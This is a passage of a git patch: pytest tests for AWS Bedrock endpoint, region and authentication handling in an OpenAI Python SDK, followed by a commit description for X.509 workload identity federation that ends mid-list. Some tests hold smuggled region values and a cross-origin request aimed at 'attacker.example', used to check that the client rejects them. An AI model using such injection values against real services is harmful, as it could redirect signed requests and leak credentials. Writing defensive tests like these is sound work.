+ if endpoint == "runtime":
+ inferred = OpenAI(provider=_provider(authentication, region=region, base_url=base_url))
+ assert inferred.base_url.host == f"{hostname}."
+
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ _provider(authentication, endpoint=endpoint, region=region, base_url=f"http://{hostname}./openai/v1")
+ with pytest.raises(OpenAIError, match="does not match the selected"):
+ _provider(
+ authentication,
+ endpoint="runtime" if endpoint == "mantle" else "mantle",
+ region=region,
+ base_url=base_url,
+ )
+ with pytest.raises(OpenAIError, match="endpoint region.*does not match"):
+ _provider(
+ authentication,
+ endpoint=endpoint,
+ region="us-west-2" if region == "us-east-1" else "us-east-1",
+ base_url=base_url,
+ )
+
+
+@pytest.mark.parametrize("authentication", ["bearer", "sigv4"])
+@pytest.mark.parametrize("api", ["chat", "responses"])
+@pytest.mark.parametrize("model", _MODELS)
+def test_runtime_routes_and_authenticates_nonstreaming_apis(
+ authentication: Literal["bearer", "sigv4"], api: Literal["chat", "responses"], model: str
+) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(
+ 200,
+ request=request,
+ json=_completion_body(model=model) if api == "chat" else _response_body(model=model),
+ headers={"x-request-id": "req_runtime"},
+ )
+
+ with OpenAI(
+ provider=_provider(authentication, endpoint="runtime", region="us-east-1"),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ if api == "chat":
+ completion = client.chat.completions.create(model=model, messages=[{"role": "user", "content": "Hi"}])
+ assert completion.choices[0].finish_reason == "stop"
+ assert completion.usage is not None and completion.usage.total_tokens == 7
+ assert completion._request_id == "req_runtime"
+ else:
+ response = client.responses.create(model=model, input="Hi")
+ assert response.output_text == "Hello"
+
+ route = "chat/completions" if api == "chat" else "responses"
+ assert str(requests[0].url) == f"{_RUNTIME_URL}/{route}"
+ assert json.loads(requests[0].content)["model"] == model
+ _assert_authorization(requests[0], authentication)
+
+
+@pytest.mark.parametrize("authentication", ["bearer", "sigv4"])
+@pytest.mark.parametrize("api", ["chat", "responses"])
+@pytest.mark.parametrize("model", _MODELS)
+def test_runtime_streams_both_apis_with_both_authentication_modes(
+ authentication: Literal["bearer", "sigv4"], api: Literal["chat", "responses"], model: str
+) -> None:
+ requests: list[httpx2.Request] = []
+ if api == "chat":
+ chunks = [
+ {
+ "id": "chatcmpl_runtime",
+ "object": "chat.completion.chunk",
+ "created": 1,
+ "model": model,
+ "choices": [{"index": 0, "delta": delta, "finish_reason": finish_reason}],
+ }
+ for delta, finish_reason in (({"role": "assistant", "content": "Hel"}, None), ({"content": "lo"}, "stop"))
+ ]
+ events: list[dict[str, Any] | str] = [*chunks, "[DONE]", chunks[0]]
+ else:
+ completed = _response_body(model=model)
+ events = [
+ {"type": "response.created", "sequence_number": 0, "response": {**completed, "status": "in_progress"}},
+ {"type": "response.completed", "sequence_number": 1, "response": completed},
+ "[DONE]",
+ {"type": "response.failed", "sequence_number": 2, "response": completed},
+ ]
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, text=_sse(events), headers={"Content-Type": "text/event-stream"})
+
+ with OpenAI(
+ provider=_provider(authentication, endpoint="runtime", region="us-east-1"),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ if api == "chat":
+ stream = client.chat.completions.create(
+ model=model, messages=[{"role": "user", "content": "Hi"}], stream=True
+ )
+ received = list(stream)
+ assert [chunk.choices[0].delta.content for chunk in received] == ["Hel", "lo"]
+ assert received[-1].choices[0].finish_reason == "stop"
+ else:
+ response_stream = client.responses.create(model=model, input="Hi", stream=True)
+ received_events = list(response_stream)
+ assert [event.type for event in received_events] == ["response.created", "response.completed"]
+
+ request_body = json.loads(requests[0].content)
+ assert request_body["stream"] is True
+ assert request_body["model"] == model
+ _assert_authorization(requests[0], authentication)
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize("authentication", ["bearer", "sigv4"])
+async def test_async_runtime_chat_uses_selected_authentication(authentication: Literal["bearer", "sigv4"]) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json=_completion_body())
+
+ async with AsyncOpenAI(
+ provider=_provider(authentication, endpoint="runtime", region="us-east-1"),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ response = await client.chat.completions.create(model=_MODEL, messages=[{"role": "user", "content": "Hi"}])
+
+ assert response.choices[0].message.content == "Hello"
+ _assert_authorization(requests[0], authentication)
+
+
+@pytest.mark.asyncio
+async def test_async_runtime_accepts_refreshable_async_bearer_credentials() -> None:
+ tokens = iter(("async-token-one", "async-token-two"))
+ authorization_headers: list[str] = []
+
+ async def token_provider() -> str:
+ return next(tokens)
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ authorization_headers.append(request.headers["Authorization"])
+ status = 429 if len(authorization_headers) == 1 else 200
+ return httpx2.Response(status, request=request, json={}, headers={"retry-after-ms": "1"})
+
+ async with AsyncOpenAI(
+ provider=bedrock(endpoint="runtime", region="us-east-1", token_provider=token_provider),
+ max_retries=1,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ await client.get("/models", cast_to=httpx2.Response)
+
+ assert authorization_headers == ["Bearer async-token-one", "Bearer async-token-two"]
+
+
+@pytest.mark.parametrize(
+ "region",
+ ["us-east-1.amazonaws.com@attacker.example#", "us-east-1/../../attacker.example", "us-east-1?target=evil"],
+)
+def test_runtime_rejects_injected_regions(region: str) -> None:
+ with pytest.raises(OpenAIError, match="region.*invalid"):
+ bedrock(endpoint="runtime", region=region, api_key="bedrock-token")
+
+
+@pytest.mark.parametrize("region_environment_variable", ["AWS_REGION", "AWS_DEFAULT_REGION"])
+@pytest.mark.parametrize(
+ ("base_url", "ambient_region"),
+ [
+ pytest.param("https://proxy.example/openai/v1", "local", id="custom-url-invalid-region"),
+ pytest.param(_RUNTIME_URL, "us-west-2", id="canonical-url-conflicting-region"),
+ ],
+)
+def test_bearer_configured_url_ignores_ambient_region(
+ base_url: str,
+ ambient_region: str,
+ region_environment_variable: str,
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ monkeypatch.setenv(region_environment_variable, ambient_region)
+
+ with OpenAI(provider=bedrock(base_url=base_url, api_key="bedrock-token")) as client:
+ assert client.base_url == httpx2.URL(f"{base_url}/")
+
+
+@pytest.mark.parametrize(
+ ("credential_source", "base_url_source"),
+ [
+ ("api_key", "environment"),
+ ("token_provider", "argument"),
+ ("environment", "argument"),
+ ("environment", "environment"),
+ ],
+)
+def test_bearer_credential_sources_ignore_conflicting_ambient_region(
+ credential_source: Literal["api_key", "token_provider", "environment"],
+ base_url_source: Literal["argument", "environment"],
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ monkeypatch.setenv("AWS_REGION", "us-west-2")
+ options: dict[str, Any] = {}
+
+ if base_url_source == "environment":
+ monkeypatch.setenv("AWS_BEDROCK_BASE_URL", _RUNTIME_URL)
+ else:
+ options["base_url"] = _RUNTIME_URL
+
+ if credential_source == "api_key":
+ options["api_key"] = "bedrock-token"
+ elif credential_source == "token_provider":
+ options["token_provider"] = lambda: "bedrock-token"
+ else:
+ monkeypatch.setenv("AWS_BEARER_TOKEN_BEDROCK", "bedrock-token")
+
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=bedrock(**options),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ assert client.base_url == httpx2.URL(f"{_RUNTIME_URL}/")
+ client.get("/models", cast_to=httpx2.Response)
+
+ _assert_authorization(requests[0], "bearer")
+
+
+@pytest.mark.anyio
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI], ids=["sync", "async"])
+@pytest.mark.parametrize("refresh", ["api-key-mutation", "api-key-copy", "token-provider-copy"])
+async def test_legacy_bearer_refresh_ignores_conflicting_ambient_region(
+ client_cls: type[BedrockOpenAI] | type[AsyncBedrockOpenAI],
+ refresh: str,
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ monkeypatch.setenv("AWS_REGION", "us-west-2")
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ client: BedrockOpenAI | AsyncBedrockOpenAI
+ if client_cls is BedrockOpenAI:
+ client = BedrockOpenAI(
+ base_url=_RUNTIME_URL,
+ api_key="initial-token",
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ )
+ else:
+ client = AsyncBedrockOpenAI(
+ base_url=_RUNTIME_URL,
+ api_key="initial-token",
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
+ )
+
+ assert client.aws_region == "us-west-2"
+ assert not client._bedrock_state.region_was_explicit
+
+ if refresh == "api-key-mutation":
+ client.api_key = "refreshed-token"
+ elif refresh == "api-key-copy":
+ client = client.with_options(api_key="refreshed-token")
+ else:
+ client = client.with_options(bedrock_token_provider=lambda: "refreshed-token")
+
+ if isinstance(client, BedrockOpenAI):
+ client.get("/models", cast_to=httpx2.Response)
+ client.close()
+ else:
+ await client.get("/models", cast_to=httpx2.Response)
+ await client.close()
+
+ assert requests[0].headers["Authorization"] == "Bearer refreshed-token"
+
+
+@pytest.mark.anyio
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI], ids=["sync", "async"])
+@pytest.mark.parametrize(
+ ("base_url", "service"),
+ [
+ pytest.param(_RUNTIME_URL, "bedrock", id="runtime"),
+ pytest.param("https://bedrock-mantle.us-east-1.api.aws/openai/v1", "bedrock-mantle", id="mantle"),
+ ],
+)
+async def test_legacy_canonical_bearer_region_survives_aws_credential_override(
+ client_cls: type[BedrockOpenAI] | type[AsyncBedrockOpenAI], base_url: str, service: str
+) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ client: BedrockOpenAI | AsyncBedrockOpenAI
+ if client_cls is BedrockOpenAI:
+ client = BedrockOpenAI(
+ base_url=base_url,
+ api_key="initial-token",
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ )
+ else:
+ client = AsyncBedrockOpenAI(
+ base_url=base_url,
+ api_key="initial-token",
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
+ )
+
+ assert client.aws_region == "us-east-1"
+ assert not client._bedrock_state.region_was_explicit
+ client = client.with_options(aws_access_key_id="access-key", aws_secret_access_key="secret-key")
+
+ if isinstance(client, BedrockOpenAI):
+ client.get("/models", cast_to=httpx2.Response)
+ client.close()
+ else:
+ await client.get("/models", cast_to=httpx2.Response)
+ await client.close()
+
+ assert f"/{service}/aws4_request" in requests[0].headers["Authorization"]
+
+
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI], ids=["sync", "async"])
+@pytest.mark.parametrize(
+ ("explicit_region", "expected_region", "region_was_explicit"),
+ [
+ pytest.param(None, "us-west-2", False, id="ambient-region"),
+ pytest.param("us-east-1", "us-east-1", True, id="explicit-region"),
+ ],
+)
+def test_legacy_canonical_region_preserves_configured_precedence(
+ client_cls: type[BedrockOpenAI] | type[AsyncBedrockOpenAI],
+ explicit_region: str | None,
+ expected_region: str,
+ region_was_explicit: bool,
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ monkeypatch.setenv("AWS_REGION", "us-west-2")
+
+ client = client_cls(base_url=_RUNTIME_URL, aws_region=explicit_region, api_key="bedrock-token")
+
+ assert client.aws_region == expected_region
+ assert client._bedrock_state.region_was_explicit is region_was_explicit
+
+
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI], ids=["sync", "async"])
+@pytest.mark.parametrize("base_url", [_RUNTIME_URL, "https://proxy.example/openai/v1"])
+def test_legacy_bedrock_accepts_loaded_httpx_urls(
+ client_cls: type[BedrockOpenAI] | type[AsyncBedrockOpenAI], base_url: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ class LegacyURL:
+ @override
+ def __str__(self) -> str:
+ return base_url
+
+ legacy_httpx = SimpleNamespace(URL=LegacyURL)
+ monkeypatch.setitem(sys.modules, "httpx", legacy_httpx)
+
+ client = client_cls(base_url=LegacyURL(), api_key="bedrock-token") # type: ignore[arg-type]
+
+ assert client.base_url == httpx2.URL(f"{base_url}/")
+
+
+@pytest.mark.parametrize(
+ ("region", "error"),
+ [
+ pytest.param("local", "region.*invalid", id="invalid-region"),
+ pytest.param("us-west-2", "endpoint region.*does not match", id="conflicting-region"),
+ ],
+)
+def test_bearer_configured_url_still_validates_explicit_region(region: str, error: str) -> None:
+ with pytest.raises(OpenAIError, match=error):
+ bedrock(base_url=_RUNTIME_URL, region=region, api_key="bedrock-token")
+
+
+@pytest.mark.parametrize(
+ ("base_url", "ambient_region", "error"),
+ [
+ pytest.param("https://proxy.example/openai/v1", "local", "region.*invalid", id="invalid-region"),
+ pytest.param(_RUNTIME_URL, "us-west-2", "endpoint region.*does not match", id="conflicting-region"),
+ ],
+)
+def test_sigv4_configured_url_still_validates_ambient_region(
+ base_url: str, ambient_region: str, error: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("AWS_REGION", ambient_region)
+
+ with pytest.raises(OpenAIError, match=error):
+ bedrock(base_url=base_url, access_key_id="access-key", secret_access_key="secret-key")
+
+
+def test_runtime_infers_environment_endpoint_and_signing_service(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("AWS_BEDROCK_BASE_URL", _RUNTIME_URL)
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=_provider("sigv4", region="us-east-1"),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ _assert_authorization(requests[0], "sigv4")
+
+
+@pytest.mark.parametrize(
+ ("endpoint", "source", "service"),
+ [
+ (None, "argument", "bedrock-mantle"),
+ ("mantle", "argument", "bedrock-mantle"),
+ ("runtime", "argument", "bedrock"),
+ (None, "environment", "bedrock-mantle"),
+ ("runtime", "environment", "bedrock"),
+ ],
+)
+def test_custom_signing_endpoint_preserves_mantle_default_and_runtime_opt_in(
+ endpoint: Literal["mantle", "runtime"] | None,
+ source: Literal["argument", "environment"],
+ service: Literal["bedrock-mantle", "bedrock"],
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ base_url = "https://proxy.example/openai/v1"
+ options: dict[str, Any] = {"region": "us-east-1"}
+ if endpoint is not None:
+ options["endpoint"] = endpoint
+ if source == "environment":
+ monkeypatch.setenv("AWS_BEDROCK_BASE_URL", base_url)
+ else:
+ options["base_url"] = base_url
+
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=_provider("sigv4", **options),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ assert client.base_url == httpx2.URL(f"{base_url}/")
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert requests[0].url == httpx2.URL(f"{base_url}/models")
+ _assert_authorization(requests[0], "sigv4", service=service)
+
+
+def test_runtime_api_key_none_ignores_stale_environment_bearer(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("AWS_BEARER_TOKEN_BEDROCK", "stale-token")
+ monkeypatch.setenv("AWS_ACCESS_KEY_ID", "environment-access-key")
+ monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "environment-secret-key")
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=bedrock(endpoint="runtime", region="us-east-1", api_key=None),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert "Credential=environment-access-key/" in requests[0].headers["Authorization"]
+ _assert_authorization(requests[0], "sigv4")
+
+
+def test_runtime_profile_resolves_region_and_signing_credentials(
+ monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+) -> None:
+ credentials = tmp_path / "credentials"
+ credentials.write_text("[runtime]\naws_access_key_id=profile-key\naws_secret_access_key=profile-secret\n")
+ config = tmp_path / "config"
+ config.write_text("[profile runtime]\nregion=us-west-2\n")
+ monkeypatch.setenv("AWS_SHARED_CREDENTIALS_FILE", str(credentials))
+ monkeypatch.setenv("AWS_CONFIG_FILE", str(config))
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=bedrock(endpoint="runtime", profile="runtime", api_key=None),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert requests[0].url.host == "bedrock-runtime.us-west-2.amazonaws.com"
+ assert "Credential=profile-key/" in requests[0].headers["Authorization"]
+ assert "/us-west-2/bedrock/aws4_request" in requests[0].headers["Authorization"]
+
+
+def test_runtime_preserves_request_id_on_typed_errors() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(
+ 404,
+ request=request,
+ json={"error": {"message": "Runtime model is unavailable"}},
+ headers={"x-request-id": "req_runtime_error"},
+ )
+
+ with OpenAI(
+ provider=_provider("bearer", endpoint="runtime", region="us-east-1"),
+ max_retries=0,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ with pytest.raises(NotFoundError, match="Runtime model is unavailable") as error:
+ client.chat.completions.create(model=_MODEL, messages=[{"role": "user", "content": "Hi"}])
+
+ assert error.value.request_id == "req_runtime_error"
+
+
+def test_runtime_refreshes_bearer_credentials_before_retry() -> None:
+ tokens = iter(("token-one", "token-two"))
+ authorization_headers: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ authorization_headers.append(request.headers["Authorization"])
+ if len(authorization_headers) == 1:
+ return httpx2.Response(429, request=request, json={}, headers={"retry-after-ms": "1"})
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=bedrock(endpoint="runtime", region="us-east-1", token_provider=lambda: next(tokens)),
+ max_retries=1,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert authorization_headers == ["Bearer token-one", "Bearer token-two"]
+
+
+@pytest.mark.parametrize("failure", ["rate-limit", "timeout"])
+def test_runtime_refreshes_aws_credentials_and_resigns_retries(failure: Literal["rate-limit", "timeout"]) -> None:
+ class Credentials:
+ def __init__(self, generation: int) -> None:
+ self.access_key = f"access-{generation}"
+ self.secret_key = f"secret-{generation}"
+ self.token = f"session-{generation}"
+
+ generations = iter((1, 2))
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if len(requests) == 1:
+ if failure == "timeout":
+ raise httpx2.ReadTimeout("Bedrock Runtime request timed out", request=request)
+ return httpx2.Response(429, request=request, json={}, headers={"retry-after-ms": "1"})
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-east-1",
+ credential_provider=lambda: Credentials(next(generations)),
+ api_key=None,
+ ),
+ max_retries=1,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert [request.headers["X-Amz-Security-Token"] for request in requests] == ["session-1", "session-2"]
+ for generation, request in enumerate(requests, start=1):
+ assert f"Credential=access-{generation}/" in request.headers["Authorization"]
+ _assert_authorization(request, "sigv4")
+
+
+@pytest.mark.parametrize("authentication", ["bearer", "sigv4"])
+def test_runtime_rejects_cross_origin_requests_before_network(authentication: Literal["bearer", "sigv4"]) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={})
+
+ with OpenAI(
+ provider=_provider(authentication, endpoint="runtime", region="us-east-1"),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ with pytest.raises(OpenAIError, match="origin other than the configured provider URL"):
+ client.get("https://attacker.example/credentials", cast_to=httpx2.Response)
+
+ assert not requests
From bccad58696b36d9127cefa80868cb06c71093623 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Mon, 17 Aug 2026 19:10:03 +0000
Subject: [PATCH 020/341] feat(auth): add X.509 workload identity federation
for HTTP (#3622)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## What and why
Implement Phase 1 (HTTP only) of [X.509 Workload Identity Federation in
OpenAI SDKs: Design
Proposal](https://app.notion.com/p/openai/X-509-Workload-Identity-Federation-in-OpenAI-SDKs-Design-Proposal-3bc8e50b62b0814a9c36c3cf6d897f04).
Customers can exchange workload identity established by their existing
mutually authenticated HTTP transport for an OpenAI access token without
introducing SDK-owned certificates, private keys, token providers, or a
configurable token endpoint.
Both `OpenAI` and `AsyncOpenAI` support the same additive, typed public
API:
```python
from openai import OpenAI
from openai.auth import x509_workload_identity
client = OpenAI(
workload_identity=x509_workload_identity(
identity_provider_id="idp_...",
service_account_id="svc_acct_...",
),
http_client=caller_configured_mtls_http_client,
)
```
`refresh_buffer_seconds` is optional. `WorkloadIdentity` remains the
existing callable, backward-compatible subject-token TypedDict; both
`OpenAI` and `AsyncOpenAI` accept the explicit typed union
`WorkloadIdentity | X509WorkloadIdentity`.
`SubjectTokenWorkloadIdentity` is a compatibility alias, and the public
`WorkloadIdentityAuth` constructor remains narrowed to subject-token
identities. The helper name, snake_case options, TypedDict
configuration, SDK exception types, injected-client lifecycle, typed
`copy()`/`with_options()`, and explicit sync/async implementations
follow neighboring Python SDK patterns. Azure/Bedrock overriding copy
signatures retain Python-compatible parameter variance without changing
their provider authentication behavior. Async refresh uses
AnyIO-compatible locking and sleep; it never runs an asynchronous
exchange through blocking thread work.
## Security, transport ownership, and compatibility
- Exchange tokens only with `POST
https://mtls.auth.openai.com/oauth/token`; the JSON structurally omits
`subject_token`, the exchange URL is not public configuration, and
redirects are disabled per request.
- Reuse the effective caller-configured HTTPX2 or legacy HTTPX client
for the exchange and the subsequent API request. Certificate chains,
private keys, passphrases, trust, proxies, HSM integration, pooling, and
rotation remain entirely owned by that native transport.
- Never mutate caller transport settings, retain certificate/key
material, or include token/provider-controlled error details in
exceptions or logs. Preserve the SDK's existing HTTP-client close/aclose
ownership behavior.
- Use monotonic, bounded token caching with positive finite `expires_in`
validation, half-TTL refresh-buffer clamping, sync and async
single-flight refresh, cancellation-safe async waiters, bounded
transient retries, and `Retry-After` handling.
- Invalidate once after a 401 and replay only genuinely replayable
requests. Seekable uploads are rewound to their original offsets;
one-shot upload streams and non-replayable bodies are never replayed.
- Default only X.509-mode clients without an explicit/environment base
URL to `https://mtls.api.openai.com/v1`. Existing API-key
authentication, JWT/ID-token workload identity, their separate exchange
client, explicit base URLs, Python support policy, and dependency set
are unchanged.
- **Realtime/WebSockets are explicitly excluded; they belong to Phase
2.**
## Verification
| Gate | Result |
| --- | --- |
| Full OpenAPI-mock-backed suite, Python 3.10 | **7,255 passed, 31
skipped** against a dedicated healthy local Steady OpenAPI mock |
| Built-wheel auth/client/X.509 matrix, Python 3.11 | **7,255 passed, 31
skipped** for the complete installed-wheel suite, including
HTTPX2/aiohttp/Azure/Bedrock regressions |
| Built-wheel auth/client/X.509 matrix, Python 3.12 | **7,255 passed, 31
skipped** for the complete installed-wheel suite, including
HTTPX2/aiohttp/Azure/Bedrock regressions |
| Built-wheel auth/client/X.509 matrix, Python 3.13 | **7,255 passed, 31
skipped** for the complete installed-wheel suite, including
HTTPX2/aiohttp/Azure/Bedrock regressions |
| Built-wheel auth/client/X.509 matrix, Python 3.14 | **7,255 passed, 31
skipped** for the complete installed-wheel suite, including
HTTPX2/aiohttp/Azure/Bedrock regressions |
| Dedicated legacy HTTPX compatibility lane, Python 3.10 | **130
passed** |
| Repository `./scripts/lint` | **Passed**: Ruff, whole-project Pyright
(0 errors/0 warnings), whole-project mypy (1,547 source files), import
validation |
| Ruff checks | **Passed**: `ruff check .`; changed-file formatting;
1,717 repository files format-clean after excluding one independently
verified, untouched upstream baseline defect |
| Documentation/example checks | **Passed**: README documentation lint;
auth/example/test `compileall`; both examples construct offline in
API-key and X.509 modes |
| Source/wheel build | **Passed**: `python -m build --no-isolation` |
| HTTPX2 wheel validator | **Passed**: HTTPX2-only 20 passed/2 skipped,
aiohttp 4 passed, isolated legacy HTTPX/aiohttp 3 passed |
| Python-version wheel, Bedrock wheel, and support-policy validators |
**Passed**; supported release matrix Python 3.10–3.14 and prerelease
3.15 |
| Patch hygiene | **Passed**: `git diff --check`; exact fourteen-path
branch diff and clean committed worktree |
The focused X.509 tests cover exact host/path/body and absence of
`subject_token`, redirect refusal, transport/certificate ownership,
transient retries and `Retry-After`, sync/async concurrency and
cancellation, invalid/expired token responses and refresh windows,
replayable versus one-shot upload/body behavior, safe error redaction,
and API-key/JWT/ID-token regressions.
Formatting baseline disclosure: the unmodified upstream
`src/openai/resources/responses/responses.py` already fails a
whole-repository `ruff format --check .` on the exact base revision. The
repository's actual `./scripts/lint`, every changed file, and the other
1,717 files all pass; this PR intentionally does not modify unrelated
generated code.
## Maintainability and Python idiom review
The required strict `thermo-nuclear-code-quality-review` was completed
against the complete exact fourteen-file publication diff: **no
structural blockers**. X.509 logic is isolated in one 269-line
handwritten auth module; neither new production nor test files exceed
1,000 lines. Mode selection occurs once in each existing sync/async
constructor, subject-token and X.509 implementations share one properly
initialized generic auth/cache base without identity casts, existing
auth/retry/error layers remain canonical, and sync/async differences
stay explicit.
The Python idiom review compared neighboring auth TypedDict/provider
helpers, `OpenAI`/`AsyncOpenAI` injection and ownership, HTTPX/HTTPX2
request semantics, AnyIO cancellation, native SSLContext/transport
boundaries, existing exception chaining/retry constants, pytest fixture
style, and README examples. The result preserves established Python SDK
naming, caller-client lifecycle, sync/async parity, and existing auth
behavior without cross-language builder abstractions or hidden transport
mutation.
Refreshed upstream base: `10ee3f0da2ac6f93345c1204bd7bb1a2faa79ff2`
Validated publication head: `9512899eb98aab917ec9cf4c59342c77eb45c394`
## Prior independent installed-artifact mTLS validation
Built the exact committed wheel with `.venv/bin/python -m build
--no-isolation --outdir /private/tmp/openai-python-x509-round3-dist`,
installed that wheel into a clean temporary virtual environment, and
executed `/private/tmp/openai-python-x509-round3-venv/bin/python
/private/tmp/openai-python-x509-second-round-e2e.py` from outside the
repository. The harness generates an ephemeral CA plus fresh
server/client certificates, requires and verifies client-certificate
presentation on every local HTTPS request, and connects the unmodified
native HTTPX2 transport to the exact pinned authentication and API
origins through a hermetic local CONNECT proxy.
Result: **19 sync/async scenarios passed; 48 real mTLS requests carried
a verified client certificate (24 token exchanges, 24 API requests)**.
Scenarios cover pinned host/path and token JSON without `subject_token`,
bearer injection, token caching, actual clock-based refresh, transient
retry/`Retry-After`, 401 refresh/replay, non-replayable multipart
uploads that invalidate rejected tokens without replay, typed
`with_options()` client copies that preserve their effective mTLS
transport, async single-flight and waiter cancellation, sync/async
timeouts, exchange/API redirect refusal including overridden auth,
malformed token JSON, OAuth-error redaction, and the original callable
`WorkloadIdentity` public API.
Residual scope limitation: no customer-enrolled production identity
provider was contacted or required; the independent end-to-end exchange
uses a real local mutually authenticated TLS service with freshly
generated certificates.
## Current exact-head independent verification
Final independently verified head:
`9512899eb98aab917ec9cf4c59342c77eb45c394`; fresh mergeable base:
`10ee3f0da2ac6f93345c1204bd7bb1a2faa79ff2` (zero commits behind).
- Addressed all eight latest automated-review findings with 36 new
sync/async regression cases: compare-and-invalidate rejected replay
tokens; record and restore every seekable multipart upload's original
file offset; support API-key-to-X.509 and X.509-to-API-key copies while
preserving custom origins and resetting implicit defaults; prevent
caller HTTP auth from leaking to the token endpoint or replacing
exchanged API bearer tokens; explicitly reject X.509 identities from
Azure copies; and reject malformed/missing-ID identities with typed
errors. Each review thread has an exact fix explanation and is resolved.
- Built both wheel and source distribution from this exact committed
tree with `rye build --clean`, installed the wheel into a freshly
created virtual environment, and ran an external consumer through public
`OpenAI` / `AsyncOpenAI` with a native HTTPX2 transport, ephemeral
CA/server/client certificates, and a hermetic local CONNECT proxy. **32
independently reproduced scenarios passed over 78 real
client-certificate-verified HTTPS requests: 38 exact-origin token
exchanges and 40 API requests.** The exchange body never contains
`subject_token` and never inherits caller `Authorization`; scenarios
also prove actual `BasicAuth` suppression, bearer injection, cache
reuse/real-time refresh, transient retry, 401 replay and rejected-replay
invalidation, real seekable multipart upload replay, one-shot upload
invalidation, bidirectional API-key/X.509 mode switching, redirect
refusal, timeout, cancellation/single-flight, typed/redacted errors,
malformed identity rejection, and Azure boundaries.
- Ran the **complete** OpenAPI-mock-backed installed-wheel suite on
